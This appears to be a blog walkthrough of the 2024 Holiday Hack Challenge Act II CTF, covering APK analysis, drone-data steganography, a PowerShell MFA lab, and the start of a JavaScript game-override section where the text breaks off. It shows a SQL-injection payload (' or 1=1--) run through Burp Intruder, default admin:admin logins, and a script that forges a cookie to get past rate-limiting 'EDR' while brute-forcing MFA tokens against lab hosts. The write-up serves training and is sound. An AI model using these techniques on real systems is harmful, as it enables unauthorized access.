2024 Holiday Hack Challenge - Act II

2024 Holiday Hack Challenge - Act II

We continue with the holiday season's best Cyber Range/CTF - Holiday Hack - walking through the solutions for Act II. If you need solutions for the earlier challenges, or an overview of what HHC is - see the links below.

2024 Holiday Hack Challenge Intro
Highlighting the changes to the upcoming 2024 HHC.
2024 Holiday Hack Challenge - Prologue
A orientation of the HHC universe, followed up by the Prologue objectives of the 2024 HHC!
2024 Holiday Hack Challenge - Act I
We continue on through our winter wonderland of a cyber range/CTF!

We'll pick up where we left off at the conclusion of Act I.

Introduction

Navigating to the Story tab in your avatar's toolbar, the Act II section appears.

Wombley's getting desparate. Out-elved by Alabaster's faction, he's planning a gruesome snowball fight to take over present delivery!
Piney, Chimney, and Eve each need your help.

Click on Go to Act II to navigate to the new map.

Objective Overviews

Act II includes FOUR main challenges. These can be completed in any order. They're presented below in the order which the game displays them within the Objectives pane of the toolbar.

  1. Mobile Analysis - gain some experience analyzing Android Apps. Get familiar using Android emulator software and static code analysis tools.
  2. Drone Path - an objective which requires data analytics of KML and excel files, some optional web application pentesting for silver. For gold, we dive into file carving and stenography.
  3. PowerShell - This objective runs the gamut of a quick introduction into the Invoke-WebRequest cmdlet, and quickly jumps into enumerating an endpoint, and successful authentication using MFA (multi-factor authentication). The more advanced objective builds on the challenge, with some additional scripting to blindly enumerate the system to find a hidden user account.
  4. Snowball Showdown - manipulate client-side Javascript code to win in a virtual snowball fight. Use the mother-of-all exploits to achieve gold.

Map Layout

The map for Act II is above, with the following locations for each objective.

  1. Mobile Analysis
  2. Drone Path
  3. PowerShell
  4. Snowball Showdown

The Toilet Tunnel Network (TTN) can be leveraged to navigate from each side of the map, as well as the DMZ. Click on one of the markers with a green down arrow to teleport to the location.

Objective: Mobile Analysis

Talking to Eve Snowshoes the objective is:

Help find who has been left out of the naughty AND nice list this Christmas. Please speak with Eve Snowshoes for more information.

Talking with Eve, she provides two files - a debug version and a release version of the app. The former is used to solve the Silver level, while the latter is used to solve the Gold.

Silver Walkthrough

You're given the debug version - download, and open it using jadx-gui . First open jadx-gui and then select open file. Browse to the SantaSwipe.apk and open it. Within the SantaSwipe.apk tree on the left hand side, navigate to Source Code --> com --> northpole.santaswipe --> MainActivity --> database. Analyze the source code:

Within the gtetNormalList function is a SQL statement selecting every user who isn't named Ellie.

Cursor cursor = sQLiteDatabase.rawQuery("SELECT Item FROM NormalList WHERE Item NOT LIKE '%Ellie%'", null);

That's it. That's the answer. Navigate to the Objectives tab in your toolbar, and find the Mobile Analysis objective. Enter Ellie in the text box.

Objective: Drone Path

This objective is located in the DMZ. Chimney Scissorsticks is in the southern half of the DMZ. The objective as follows:

Help the elf defecting from Team Wombley get invaluable, top secret intel to Team Alabaster. Find Chimney Scissorsticks, who is hiding inside the DMZ.

Silver Walkthrough

Enumerating the Web Application

As if we are conducting a web-app pentest, we click on the Drone Path Raspberri Pi to display the Elf Drone Workshop App, and navigate around to analyze the functionality. There is the Home/Landing page, a File Share page which displays one file fritjolf-Path.kml as an unauthenticated user, and a Login page.

Analyzing the KML File

The fritjolf-Path.kml file is the most interesting thing to dig into further. A quick google search indicates it contains GPS data in XML format for 2D maps and 3D Earth Browsers. Upload the file to Google Earth, to analyze the file. Within Google Earth, navigate to File in the toolbar, and select Open local KML File to upload the fritjolf-Path.kml. After the file loads, a fritjolf-Path path should appear in upper right hand corner. Click on the Hamburger button - represented by 3 vertical dots, and select Fly To. The map will shift to the South Pole, and you may need to manually drag the map around to see the drone path, which appears in a yellow line. The drone path appears to spell out the word GUMDROP1.

Login to the Web App

It appears too fortuitous that a drone would fly in such a flight path on its own. Assuming this was a way for a user "Fritjolf" to stealthily remember his password for the web application, we can attempt to login with the credentials with the username:password combination: fritjolf:GUMDROP1.

A prompt appears confirming successful authentication! As an authenticated user, there appear to be three new pages within the web application. Firstly, the Workshop page, which the website redirects a successful user to after successful authentication. The page includes a search feature to lookup drones. Additionally, there's a Profile page with details about the user. On the page is an important Note to self, remember drone name, it is the same location as secret snowball warehouses /files/secret/preparations-drone-name.csv. Lastly, there's an additional Admin Console page, which is supposed to emulate controlling the drones, but for our purposes is where we enter any passphrases we may discover.

Analyzing what additional information/access we've gained - the two likeliest paths to investigate further are the csv file and the Workshop search feature. Pursuing either will lead to the eventual path forward, but we'll cover both.

Method #1 - Haxor need not Apply... the CSV Method

As mentioned, on the Profile page, Fritjolf left a note in his bio with a link to /files/secret/Preparations-drone-name.csv. Click on the file to download it. Opening the CSV in LibreOffice/Excel yields a file with 9 rows. Inspect the file, and see there are coordinates in the order of Longitude, Latitude, and Height. Reorder the columns using awk, and have a comma separate the two values.

awk -F ',' '{ print $6 ", "  $5 }' Preparations-drone-name.csv
OSD.latitude, OSD.longitude
-37.42277804382341, 144.8567879816271
-38.0569169391843, 142.4357677725014
-37.80217469906655, 143.9329094555584
-38.0682499155867, 142.2754454646221
-34.52324587244343, 141.756352258091
-36.74357572393437, 145.513859306511
-37.89721189352699, 144.745994150535
-37.00702150480869, 145.8966329539992

Copy and paste each of the coordinates into Google Maps, ensuring you have the satellite view enabled. Once you do, you'll start to see a word appear...

ELF-HAWK!!! It would appear there's a drone named ELF-HAWK. We'll confirm this in a second... but first...

Method #2 - 1337 Hacker Method - SQL Injection

In the world of cybersecurity, data analysts are nerds compared to 1337 hackers. Joking aside, there's a vulnerability within the Workshop page's Drone search feature. Specifically a SQL Injection vulnerability, common for web application search bars. It could be solved by probing the search function manually. However, for thoroughness sake, we'll use BurpSuite proxy. Setup the proxy and allow it to intercept traffic.

  1. Enter a search term, such as zentester
  2. With Proxy interception turned on, the request will be redirected to the Proxy --> Intercept tab in Burp.
  3. Right click anywhere in the whitespace of the Request, and choose Send to Intruder.

In intruder, configure a Sniper Attack (#1) with squiggly brackets (technical term, try to keep up) around the drone parameter's value, in this case zentester (#2). Choose a payload type of Runtime file (#3), using Seclist's sqli.auth.bypass.txt file.

Click Start Attack. and let the commands run. BurpSuite is automating the web application testing, by inserting common SQL injection syntaxes. Filter the results, focusing on Server Status Codes of 200, and filter by descending length. It appears the search ' or 1=1-- is able to return multiple rows, as there is a JSON array with 4 drones listing their quantity and weapon types.

Return to the Workshop page of the web app. Reissue the value used to trigger the SQL Injection (' or 1=1-- ) in BurpSuite, or the browser. Alternatively, begin to search for the drone names to discover what more we can learn. If reissuing the SQLi in BurpSuite, there will be multiple requests in the HTTP history to /api/v1.0/drones/[drone-name]/comments endpoints when the SQLi is triggered. When using the search feature in the browser individually, there will be a request to the URI specific to each drone. This provides some additional information for us.

Don't Cross the Streams.... Picking Up Where Both Methods Merge.

Using either method, we have collected the name(s) of the drone(s). Search ELF-HAWK in the search bar of the Workshop tab. The query returns the drone details, and a "Comments" section on the drone. Included in the comments is the statement:

These drones will work great to find Alabasters snowball warehouses. I have hid the activation code in the dataset ELF-HAWK-dump.csv. We need to keep it safe, for now it's under /files/secret.

Click on the link to download the CSV file. Inspecting the file, it is similar to the Preparations-drone-name.csv, in that it has coordinates of a drone path. This new file differentiates itself by having over 3,000 rows, and many more columns.

Extracting and Mapping the Coordinates

We need to convert the coordinates in the CSV file into a KML file. We'll create a python script, leveraging the simplekml library, to accomplish the goal. After generating the KML file, we'll repeat our steps from earlier to upload the file to Google Earth for analysis.

The script is below. Note that the first iteration of the script uploaded all 3200+ coordinates at once. Doing so would make the Northern Hemisphere covered in illegible red lines. Instead, the looks at the plot lines in batches of 500-600 (lines 5 -16) .

def plot_coordinates_to_kml(csv_file, kml_file):
    """Reads a CSV file with longitude, latitude, and height columns and creates a KML file with points."""

    df = pd.read_csv(csv_file)
    # Batch 1- First 500 lines - Drone
    # df = df.head(500)
    # Batch 2 - Next 600 Lines - 3273 total - Data
    # df = df.tail(2773)
    # df = df.head(600)
    # Batch 3 - Next 600 lines - Analyst
    # df = df.tail(2173)
    # df = df.head(800)
    # Batch 4 - Next 700 Lines - Exper
    # df = df.tail(1373)
    # df = df.head(700)
    # df = df.tail(673)

    # Create KML Object
    kml = simplekml.Kml()

    # Grab the Longitude and Latitude Columns
    coordinates =list(zip( df['OSD.longitude'], df['OSD.latitude']))
    line = kml.newlinestring(name="Path", coords=coordinates)

    # Set Line Aesthetics
    line.style.linestyle.color = simplekml.Color.red
    line.style.linestyle.width =15

    # Save File
    kml.save(kml_file)

if __name__ == "__main__":
    plot_coordinates_to_kml('ELF-HAWK.csv`, "output-elf.kml")

Save the script (i.e. plotter.py) in the same directory as the ELF-HAWK.csv file. In order to run the script:

  1. Uncomment the line for Batch 1, and run the script.
  2. Upload the KML file to Google Earth, being sure to delete any previously uploaded KML files within the Google Earth session.
  3. Large letters should begin to be visible within the Northern Hemisphere. You'll need to spin the globe to read each of the letters. Take note of the letters.

Repeat the steps for each of the batches, ensuring:

  • The previously used Batch lines (lines 5-16) are commented out.
  • The next Batch group (lines 5-16) are uncommented.
  • The old KML file is removed prior to uploading the new KML file.

A case sensitive phrase will begin to form, of which you'll eventually enter into the Admin Console page to gain the Silver badge: DroneDataAnalystExpertMedal.

GLORYYY!!!

Gold Walkthrough

To achieve the Gold objective we'll build upon our work from Silver, continuing to look at the ELF-HAWK-dump.csv file. We'll do some file carving to achieve our objective.

Cleanup ELF-HAWK-dump.csv

We'll revisit inspecting the file. A brief review of opening the file in LibreOffice/Excel show that the column headers begin with a Date, UpdateTime, FlyTime, Longitude, and Latitude columns. Scrolling further to the right, there appear to be 187 column headers. However, there is an irregularity in the column headers, starting at column GE, which appears to have a column header with a Date in it. The subsequent column headers then appear to look more.

Alternatively, this can be displayed by counting the number of the commas in the header row compared to the row two of the file, which was assumed to be the first row of data:

❯ cat -Ev ~/Downloads/ELF-HAWK-dump.csv | head -1 | tr -cd ',' | wc -c
372
❯ cat -Ev ~/Downloads/ELF-HAWK-dump.csv | head -2 | tail -1 | tr -cd ',' | wc -c
186

Coincidentally, there are double the number of commas in the first row compared to the second. Fix this by moving the data to a new line.

The Data is IN the Data

Looking at the data, there are a LOT of rows, with lots of more data than just the coordinates. Something that appears evident is the number of columns which have TRUE or FALSE values in the row. Perhaps there's data within the data. Or my mind immediately went to this meme:

Perhaps by extracting the TRUE and FALSE message, we can find a hidden message inside... Next we'll cover two methods for solving the challenge.

The Easy Way... with Python

The simplest way of doing so would be to pull together a quick python script. The script loops through the CSV file, skipping the column header (since we manually fixed it). For every TRUE or FALSE value in the file, it adds a 1 or 0, respectively, to a string which will hold the binary values. After processing the file, look at the binary string in 8 bit values, and convert the string to ASCII. Lastly, it takes the ASCII characters, and prints the values out to the console.

import csv

inputfile = csv.reader(open('ELF-HAWK-dump.csv'))

# Process the first line in the table
skipheadeder = next(inputfile)

# Declare a variable, which will be the entirety of the binary string.
binarystring = ''

for line in inputfile:
    for element in line:
        if (element == 'TRUE'):
            binarystring += '1'
        elif (element == 'FALSE'):
            binarystring += '0'

# Setup Character Array
chars = []

# Loop through the binary string, and convert 8 bits to ASCII
for i in range(0, len(binarystring), 8):
    byte = binarystring[i:i+8]
    ascii_value = int(byte,2)
    # Add the ASCII character to the Character Array
    chars.append(chr(ascii_value))

# Connect the characters to print them to the screen.
result = ''.join(chars) 
print(result)

This script (called goforgold.py) can be run using the command line: python3 goforgold.py.

The Way that Builds Character... Using awk and CyberChef

An alternative method would be to manually extract the columns which have TRUE/FALSE values, and conver the values into binary. Using the same ELF-HAWK-dump.csv (with the fixed data on a new line), we can feed the values into awk and a fancy formula. Be sure to specify a comma as the space delimeter (-F ','). The values can either be piped into a file, or more simply, pasted to your clipboard - as shown below.

Parse & Convert using awk

awk -F',' '
NR == 1 {
    # Store headers and initialize the result output array
    for (i = 1; i <= NF; i++) {
        headers[i] = $i;
    }
    next;
}
{
    # Check each column for TRUE/FALSE values
    for (i = 1; i <= NF; i++) {
        if ($i == "TRUE" || $i == "FALSE") {
            cols_with_true_false[i] = 1;
        }
    }
    # Save the entire row for later processing
    for (i = 1; i <= NF; i++) {
        data[NR - 1, i] = $i;
    }
}
END {
    # Print rows of the selected columns with TRUE/FALSE converted to 1/0
    for (r = 1; r <= (NR - 1); r++) {
        for (c = 1; c <= length(headers); c++) {
            if (c in cols_with_true_false) {
                if (data[r, c] == "TRUE") {
                    printf "1";
                } else if (data[r, c] == "FALSE") {
                    printf "0";
                }
            }
        }
        printf "\n"; # Preserve the row structure
    }
}
' ELF-HAWK-dump.csv | xclip -selection clipboard

Cook Up Some ASCII Art...

Take the binary values copied to your clipboard, and paste it into CyberChef. The formula used converts From Binary, using Line Feeds as a delimeter, and 8 bits equaling 1 byte. What prints out might look like a garbled mess, but copying/pasting to VS Code/Notepad displays something much prettier...

GLORYYYY

Either way we do it... we get some ASCII Art with a code. Provide the code, EXPERTTURKEYCARVERMEDAL into the Admin Console to verify gold.

Objective: PowerShell

Silver Walkthrough

Walkthrough Syntax Refresher

Much like the format for a previous objective which required Q&A with the terminal, we'll use the similar format of:

Question in the form of a note
Answer in the form of a codeblock

Question 1

After talking with Piney Sappington, click on the Raspberry Pi named Powershell. Type in y and hit ENTER to start the objective. A reminder, that hintme can be used for hints - albeit you might not need them if you're reading this post...

1 - There is a file in the current directory called 'welcome.txt'. Read the contents of this file

Question 1

Run the command below, and read the output to understand the objective.

Get-Content -Path ./welcome.txt

Command output:

System Overview
The Elf Weaponry Multi-Factor Authentication (MFA) system safeguards access to a classified armory containing elf weapons. This high-security system is equipped with advanced defense mechanisms, including canaries, retinal scanner and keystroke analyzing, to prevent unauthorized access. In the event of suspicious activity, the system automatically initiates a lockdown, restricting all access until manual override by authorized personnel.

Lockdown Protocols
When the system enters lockdown mode, all access to the armory is frozen. This includes both entry to and interaction with the weaponry storage. The defense mechanisms become active, deploying logical barriers to prohibit unauthorized access. During this state, users cannot disable the system without the intervention of an authorized administrator. The system logs all access attempts and alerts central command when lockdown is triggered.

Access and System Restoration
To restore access to the system, users must follow strict procedures. First, authorized personnel must identify the scrambled endpoint. Next, they must deactivate the defense mechanisms by entering the override code and presenting the required token. After verification, the system will resume standard operation, and access to weaponry is reactivated.

Question 2

2 - Geez that sounds ominous, I'm sure we can get past the defense mechanisms.
We should warm up our PowerShell skills.
How many words are there in the file?

Use the Measure-Object cmdlet. Which will show the answer of 180, and automatically load the next question.

 Get-Content ./welcome.txt | Measure-Object -Word

Question 3

3 - There is a server listening for incoming connections on this machine, that must be the weapons terminal. What port is it listening on?

This one, I cheated a bit, but more proof there's more than 1 way to solve the challenge. There wasn't Get-NetTCPConnection, so instead I used netstat. Which shows port 1125 listening on the system.

netstat -nao

Question 4

4 - You should enumerate that webserver. Communicate with the server using HTTP, what status code do you get?

Use the well known Invoke-WebRequest, which has an alias of iwr. Ignore the error that returns, we're hoping for that 🎅.

iwr -uri http://127.0.0.1:1225

Question 5

5 - It looks like defensive measures are in place, it is protected by basic authentication.
Try authenticating with a standard admin username and password.

This one is a bit trickier, need to use the PSCredential Class, to be able to pass the password into the Invoke-WebRequest, and including the -AllowUnencryptedAuthentication to bypass the default security feature of preventing credentials being sent to an unencrypted protocol.

 $username = "admin" ; $password = "admin"; $baseurl = "http://127.0.0.1:1225"; $cred = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force)); Invoke-WebRequest -Uri $baseurl -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication

Powershell in Plain English

Since we build on this one liner, and tweak it slightly for future answers, we'll give a more detailed explanation of the command. Feel free to skip ahead if you're a seasoned PowerShell pro.

First we set four variables- the first two, $username and $password, to the strings "admin". The values of which, were just assumed, since it's one of the more common default credential pairs. The third variable is the URL and port we are interacting with - this is optional, but you'll see the purpose of setting this value later. PowerShell defines variables with a $ prefix. We then use the PSCredential Class, as mentioned above, along with the ConvertTo-SecureString to convert the cleartext string into a PowerShell credential. If this is your first time seeing this line and are confused, think of it as the way to setup credentials in Powershell to be used later in the script. Lastly, we use Invoke-WebRequest again, specifying basic authentication - as requested in the question, as well as the stored credential.

Question 6

6 - There are too many endpoints here.
Use a loop to download the contents of each page. What page has 138 words?
When you find it, communicate with the URL and print the contents to the terminal.

Loop to download the contents of each page:

$username = "admin" ; $password = "admin"; $baseurl = "http://127.0.0.1:1225"; $cred = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force)); Invoke-WebRequest -Uri $baseurl -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication | select-object links | ForEach-Object { $_.Links.href} | forEach-Object { Iwr -Uri $_ -OutFile ($_ -split '/')[-1] }

Powershell in Plain English

This builds on the command from Question 5. The Select-Object links is used to take the HTTP Response, and look specifically at the Links object which returns. Those values are then used in a for loop (For-EachObject).

A quick syntax note, in Powershell, $_ means the current object in the pipeline. Comparing to the python syntax: for x in loop:... its the equivalent to the variable specified before the loop begins (i.e. x ).

The loop extracts each of the Links, specifically the HTML <href> items (aka other URLs), and then starts another for loop which attempts to make an HTTP request for each href value. The HTTP request saves the Content of each request to a filename on the local system as the last slug in the URL. For example, it will save http://127.0.0.1:1225/endpoints/1 as a text file named 1. The ($_ -split '/')[-1] takes the URL and splits it into an array delimeted by a forward slash, and uses the very last array ([-1]).

Continuing with Question 6

After that, iterate through all the files downloaded, excluding the welcome.txt file and count the number. Output below truncated after we find the file:

dir -exclude welcome.txt | ForEach-Object {  Write-Output " File: $_.Name Word Count: $(Get-Content $_ |Measure-Object -Word | Select-Object -ExpandProperty Words)" }
 File: /home/user/1.Name Word Count: 130
 File: /home/user/10.Name Word Count: 142
 File: /home/user/11.Name Word Count: 150
 File: /home/user/12.Name Word Count: 123
 File: /home/user/13.Name Word Count: 138
 < -- Truncated for Brevity -->
Note: This command could've been chained to the preceding command which downloaded the files, with a ; delimiting the two. However, wanted to ease into chaining the commands for some folks.

Then issue the command Get-Content on the file, or alias, type:

type ./13

Powershell in Plain English

The dir command is an alias for Get-ChildItem. I for some reason couldn't get the -exclude flag to work with the cmdlet, so I used the alias instead. This lists all of the files in the current directory, excluding welcome.txt since we didn't download that from the website. It then loops through each of the files and prints a string of the filename and the output of the nested function. The function should look familiar, from question 2, and takes each file, prints out the contents of the file, but then measures the number of words in the file. The value is then piped into Select-Object with the -ExpandProperty flag to only return the number of words in the file.

Extra Credit - Question 6 One Liner

This all could technically be chained into one command, downloading the files on hte fly and then enumerating through and only print the contents of the file which has 138 words in it.

$username = "admin" ; $password = "admin"; $baseurl = "http://127.0.0.1:1225"; $cred = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force)); Invoke-WebRequest -Uri $baseurl -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication | select-object links | ForEach-Object { $_.Links.href} | forEach-Object { Iwr -Uri $_ -OutFile ($_ -split '/')[-1] }; dir -exclude welcome.txt | ForEach-Object {  if ($(Get-Content $_ |Measure-Object -Word | Select-Object -ExpandProperty Words) -eq 138) {type $_} }

Question 7

7 - There seems to be a csv file in the comments of that page.
That could be valuable, read the contents of that csv-file!

Reading the contents of endpoint/13 (file ./13 on the system), we see a mention of http://127.0.0.1:1225/token_overview.csv. Tweak our previous command, to download the file, and print the contents.

 $username = "admin" ; $password = "admin"; $baseurl = "http://127.0.0.1:1225"; $cred = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force)); Invoke-WebRequest -Uri $baseurl"/token_overview.csv" -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication -Outfile token_overview.csv ; type ./token_overview.csv

Powershell in Plain English

This one-liner builds on Question 5 with a few small tweaks. The string of "/token_overview.csv" is appended to the $baseurl value, to update the URI endpoint to communicate with. Additionally, -Outfile is specified in the Invoke-WebRequest command to save the CSV file to the local system. Lastly, a type/Get-Content is then used to print the contents of the csv file in keeping with the essence of one liners.

Question 8

8 - Luckily the defense mechanisms were faulty!
There seems to be one api-endpoint that still isn't redacted! Communicate with that endpoint!

The contents of the previous question output one API endpoint which wasn't redacted.

<-- truncated for brevity -->
c44d8d6b03dcd4b6bf7cb53db4afdca6,REDACTED
cb722d0b55805cd6feffc22a9f68177d,REDACTED
724d494386f8ef9141da991926b14f9b,REDACTED
67c7aef0d5d3e97ad2488babd2f4c749,REDACTED
5f8dd236f862f4507835b0e418907ffc,4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C

It mentions the syntax of http://127.0.0.1:1225/tokens/<sha256sum>`. Update our previous command to go to the new endpoint. Specify the 421...A7E0 value as the endpoint we are reaching:

 $username = "admin" ; $password = "admin"; $baseurl = "http://127.0.0.1:1225"; $cred = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force)); Invoke-WebRequest -Uri $baseurl"/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C" -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication

Powershell in Plain English

Similar to question 7, in that we are specifying a different URI endpoint adding onto the $baseurl. The value used is the SHA256 value in the token_overview.csv file.

Question 9

9 - It looks like it requires a cookie token, set the cookie and try again.

Use the same command as from question 8, but add a token Cookie value, which was found in the token_output.csv file.

 $username = "admin" ; $password = "admin"; $baseurl = "http://127.0.0.1:1225"; $cred = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force)); Invoke-WebRequest -Uri $baseurl"/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C" -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication -Headers @{"Cookie" = "token=5f8dd236f862f4507835b0e418907ffc"}

Powershell in Plain English

We add the a HTTP header to the Invoke-WebRequest using the -Headers flag, specifying a Hash table @{} with a key of "Cookie" and a value of any cookies needed, in this case token.

Question 10

10 - Sweet we got a MFA token! We might be able to get access to the system.
Validate that token at the endpoint!

So much like question 8 when we got the token, Question 10 requires us to collect the token, and pass it in as a cookie value mfa_token to a specific endpoint. If attempting to do it in separate commands, you will get a timeout error, stating that the codes expire every 2 seconds - likely faster than you can manually copy and paste the values.

$username = "admin" ; $password = "admin"; $baseurl = "http://127.0.0.1:1225";  $uri = "/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C"; $cred = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force)); $mfatoken= Invoke-WebRequest -Uri $baseurl$uri -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication -Headers @{"Cookie" = "token=5f8dd236f862f4507835b0e418907ffc"} | Select Links |ForEach-Object { $_.Links.href | Write-Output }; Invoke-WebRequest -Uri $baseurl"/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C" -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication -Headers @{"Cookie" = "token=5f8dd236f862f4507835b0e418907ffc; mfa_token=$mfatoken"} | Select-Object -ExpandProperty Content

Powershell in Plain English

The first change, compared to the solution for Question 9, is that the last Invoke-WebRequest is stored in a variable, $mfatoken, and the HTTP response is filtered to only look at the server response Content, which stores the MFA token from the server in a href value. Given the MFA token changes every 2 seconds, this is essential before we then proceed.

The next command is another Invoke-WebRequest, this time connecting to the /mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C endpoint. You technically could've extracted this value out of the previous HTTP response too, but no one likes an overachiever 😉. We navigate to that URI, adding an additional cookie value of mfa_token=$mftoken, which takes the MFA token response, and immediately issues it within the request - avoiding token expiration. The entire server response is viewed by using the Select-Object cmdlet, specifically the -ExpandProperty flag to show the entire contents of the Content field. Without this flag, only a portion of the base64 value would return.

Question 11

11- That looks like base64! Decode it so we can get the final secret

Take the base64 string provided in the server response, and wrap it in base64 decode command in the string below.

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg=="))

The decoded string is displayed, along with a message in the game that you've completed the objective. Additonally the decoded value is displayed within the console:

Correct Token supplied, you are granted access to the snow cannon terminal. Here is your personal password for access: SnowLeopard2ReadyForAction

Powershell in Plain English

The command, [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("<base64stringhere>")) is the syntax in PowerShell to base64 decrypt a string. The PowerShell equivalent of echo 'b64string==' | base64 -d in Linux.

Gold Walkthrough

Objective

Talking to Piney again after getting the Silver Powershell Objective completed, he mentions the ability to "bypass the usual path and write your own PowerShell script to complete the challenge". There are two hints - one regards to the hash value, and the other regarding an "EDR". The Hash value hint is indicating that the token values in the token_output.csv file, despite having their hashes REDACTED could be calculated by running the value through Get-FileHash -Algorithm SHA256. The EDR hint mentions that the server is monitoring the number of responses - but lazily only blocks the first few attempts, and then "all other attempts are let through.

Solution

Before we share the code, we want to provide the pseudocode explaining the solution, adding a bit more verbosity than the code comments. Much of the code from the Silver challenge is reused.

We download the token_overview.csv file, iterating through just the tokens with a READACTED /tokens/ URI - which is just the first 49 lines (-TotalCount 49), and then removing the header (-Skip 1). The token is extracted, using split() . In order to have the Get-FileHash function to work properly, the token value has to be saved into a file, using Set-Content. The SHA256 sum is then calculated, and stored in the powershell variable $sha256sum as it will be used in later commands. The $mfatoken is collected, and stored the same way as the Silver solution, with a slight tweak to use the $sha256sum variable in lieu of the raw string value. Lastly, the final Invoke-WebRequest is used, with the token,mfa_token and attempts cookies set.

Explaining the attempts Token

In the initial attempts to the solution, the last iwr looked as follows inside the ForEach-Object loop:

Invoke-WebRequest -Uri $baseurl"/mfa_validate/$sha256sum" -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication -Headers @{"Cookie" = "token=$token; mfa_token=$mfatoken"}| Select-Object -ExpandProperty Content

Which would've returned nothing insightful within the Server's content response.

<h1>[*] Setting cookie attempts</h1>
<h1>[*] Setting cookie attempts</h1>
<h1>[*] Setting cookie attempts</h1>
<h1>[*] Setting cookie attempts</h1>
<--Truncated for Brevity -->

However, instead of inspecting the Server's content, looking at the Headers (Select-Object -ExpandProperty Headers) returns more actionable information:

Date           {Fri, 22 Nov 2024 21:47:35 GMT}
Set-Cookie     {attempts=c25ha2VvaWwK01; Path=/}
Connection     {close}
Content-Type   {text/html; charset=utf-8}
Content-Length {36}

The server provides a cookie value of attempts=c25ha2VvaWwK01 . Hardcoding that cookie into our last request, again focusing on the Server headers would have the last line of the script be:

Invoke-WebRequest -Uri $baseurl"/mfa_validate/$sha256sum" -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication -Headers @{"Cookie" = "token=$token; mfa_token=$mfatoken; attempts=c25ha2VvaWwK01"}| Select-Object -ExpandProperty Headers

And returns an updated cookie value of attempts=c25ha2VvaWwK02, indicating the cookie is updated sequentially. We can use that assumption to set a high numbered cookie value in our script to bypass the "EDR", which is what's below in the solution script.

Script to Solve Challenge

4# Set Credentials/Default Values
$username = "admin" ; 
 $password = "admin"; 
 $baseurl = "http://127.0.0.1:1225"; 
 $cred = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force)); 

# Step 1 - Download/Load CSV File to Variable
 Invoke-WebRequest -Uri $baseurl"/token_overview.csv" -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication -OutFile token_overview.csv

# Step 2 - filter out only the tokens
Get-Content -Path ./token_overview.csv -TotalCount 49 | Select-Object -Skip 1 | ForEach-Object {
    # assign the token value in the CSV to a variable 
    $token = $_.split(',')[0];
    # Store the token in a text file (needed for next command)
    Set-Content -Path $token -Value $token;
    # Derive SHA256 Sum of Token value, and save to file
    $sha256sum = Get-FileHash -Algorithm SHA256 $token | Select-Object -ExpandProperty Hash;
    # Grab the mfa token value (same as silver)
    $mfatoken= Invoke-WebRequest -Uri $baseurl"/tokens/$sha256sum" -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication -Headers @{"Cookie" = "token=$token"} | Select Links |ForEach-Object { $_.Links.href | Write-Output }; 
    # Attempt to authenticate to 
    Invoke-WebRequest -Uri $baseurl"/mfa_validate/$sha256sum" -Authentication Basic -Credential $cred -AllowUnencryptedAuthentication -Headers @{"Cookie" = "token=$token; mfa_token=$mfatoken; attempts=c25ha2VvaWwK51"}| Select-Object -ExpandProperty Content
    }

GLORYYYY!!

Nested within the output, attempting every token is the successful completion of the objective, along with a passphrase, WombleysProductionLineShallPrevail:

<-- Truncated for Brevity -->
<h1>[-] ERROR: Access Denied</h1><br> [!] Logging access attempts
<h1>[+] Success, defense mechanisms deactivated.</h1><br>Administrator Token supplied, You are able to control the production and deployment of the snow cannons. May the best elves win: WombleysProductionLineShallPrevail</p>
<h1>[-] ERROR: Access Denied</h1><br> [!] Logging access attempts
<-- Truncated for Brevity -->

Objective: Snowball Showdown

This challenge involves attempting to beat Wombley in a snowball fight. Both medals require manipulating client-side JavaScript code. The game developers recommend using Chrome or Safari to solve the challenge. We'll cover the solution using Chrome.

Browser Config for Code Editing

Open up Chrome Developer Tools (CTRL + SHIFT + I). Navigate to the Sources tab (#1), and review the files within the js folder. The phaser-snowball-game.js interest appears to be the JavaScript code both by name, and by giving a cursory reivew of the code. Right click on the phaser-snowball-game.js file (#2) and select Override content.

A prompt appears with a button to Select Folder to store the override files in. Choose location on the local filesystem to store the code. Navigate to the Overrides tab within Sources, and note the new filestructure created, which is available locally.

From here on out, any edits we make to the code locally, will display within Chrome when the page is refreshed.

Silver

